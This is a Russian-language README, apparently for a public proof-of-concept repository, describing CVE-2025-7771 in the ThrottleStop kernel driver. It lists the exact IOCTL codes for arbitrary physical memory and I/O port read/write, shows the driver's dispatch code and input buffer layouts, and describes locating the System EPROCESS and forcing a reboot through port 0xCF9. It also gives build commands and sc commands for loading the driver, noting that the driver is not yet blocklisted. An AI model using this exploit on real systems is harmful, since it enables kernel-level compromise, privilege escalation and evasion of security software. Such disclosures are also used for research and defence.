
CVE-2025-7771: произвольное чтение/запись физической памяти и портов ввода-вывода через драйвер ThrottleStop
CVE-2025-7771: Произвольное чтение/запись физической памяти и портов ввода-вывода через драйвер ThrottleStop
ThrottleStop — это небольшое легитимное приложение, используемое для мониторинга и исправления троттлинга процессора. Оно имеет драйвер, который выполняет эти задачи и в основном не имеет какой-либо проверки входных данных.
| IOCTL | Уязвимость |
|---|---|
| 0x80006498 | Произвольное чтение памяти |
| 0x8000649C | Произвольная запись памяти |
| 0x80006430 | Произвольное чтение порта |
| 0x80006434 | Произвольная запись порта |
Также, похоже, существует произвольное чтение и запись MSR, но мне не удалось заставить их работать.
Не стесняйтесь проверить это самостоятельно.
Чтение MSR находится по адресу 0x80006448, а запись — по 0x8000644C.
Если вам удалось заставить это работать, пожалуйста, создайте issue с описанием процедуры.
Все упомянутые ниже вызовы IOCTL реализованы в файле Exploit.c.
IOCTL 0x80006498 отображает любой предоставленный физический адрес в пространство ядра с помощью MmMapIoSpace и читает из него 1, 2, 4 или 8 байт. Затем данные копируются обратно в пространство пользователя.
Чтобы вызвать этот IOCTL, используйте DeviceIoControl с физическим адресом в качестве входных данных и размером выходного буфера в качестве размера чтения (1, 2, 4 или 8).
Упрощённый код для этого IOCTL в драйвере:
case 0x80006498: {
size_t readSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
Аналогично чтению, IOCTL 0x8000649C отображает предоставленный физический адрес в пространство ядра с помощью MmMapIoSpace и читает из него 1, 2, 4 или 8 байт.
Чтобы вызвать этот IOCTL, используйте DeviceIoControl со следующей структурой входного буфера:
struct {
ULONGLONG PhysicalAddress; // 8 bytes
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
Размер входного буфера будет 8 + (1, 2, 4 или 8) в зависимости от размера записи.
Выходной буфер и размер выходного буфера не используются.
Упрощённый код для этого IOCTL в драйвере:
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
IOCTL 0x80006430 позволяет пользователю указать порт ввода-вывода и читать из него напрямую с помощью __inbyte, __inword или __indword.
Входной буфер — это USHORT, и размер входного буфера должен быть sizeof(USHORT).
Выходной буфер будет содержать результат (1, 2 или 4 байта в зависимости от запрошенного размера), а размер выходного буфера может быть 1, 2 или 4.
Упрощённый код для этого IOCTL в драйвере:
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
Аналогично чтению порта, IOCTL 0x80006434 позволяет пользователю указать порт ввода-вывода и записывать в него произвольные значения с помощью __outbyte, __outword или __outdword.
Структура входного буфера:
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignment
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
Размер входного буфера должен быть sizeof(USHORT) + sizeof(Value) (+ padding). Выходной буфер и его размер не используются.
Упрощённый код для этого IOCTL в драйвере:
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
Эта трансляция возможна путём злоупотребления Superfetch — легитимным модулем ядра, который предоставляет трансляцию виртуальных адресов в физические с помощью недокументированных API. Код для этого реализован в vtop.c
Этот проект можно скомпилировать с помощью Meson. Он читает поле UniqueProcessId, разрешая структуру EPROCESS процесса System с помощью PsInitialSystemProcess, и проверяет, равно ли оно 4 (реализовано в Main.c, а функции для поиска EPROCESS конкретного PID реализованы в EProcess.c). Дополнительно он спрашивает пользователя, хочет ли тот принудительно перезагрузить систему. Это возможно путём записи значения 0x0E в порт 0xCF9.
Предупреждение: Всё тестировалось на Windows 11 build 24H2. Смещения в структуре EPROCESS могут отличаться в вашей системе.
Соберите проект командой
meson setup build
Это создаст директорию build. Теперь скомпилируйте проект командой
meson compile -C build
Драйвер доступен в директории Drivers репозитория. Драйверы ThrottleStop можно напрямую извлечь из программы ThrottleStop.exe с помощью Resource Hacker. Вы найдёте 2 драйвера — x64 и x86. DriverObject->MajorFunction[14] содержит диспетчерскую функцию, в которой реализованы все IOCTL.
Создайте и запустите драйвер с помощью:
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop
https://github.com/jonomango/superfetch
Этот драйвер ещё не добавлен в список блокировки драйверов Microsoft, а также в loldrivers.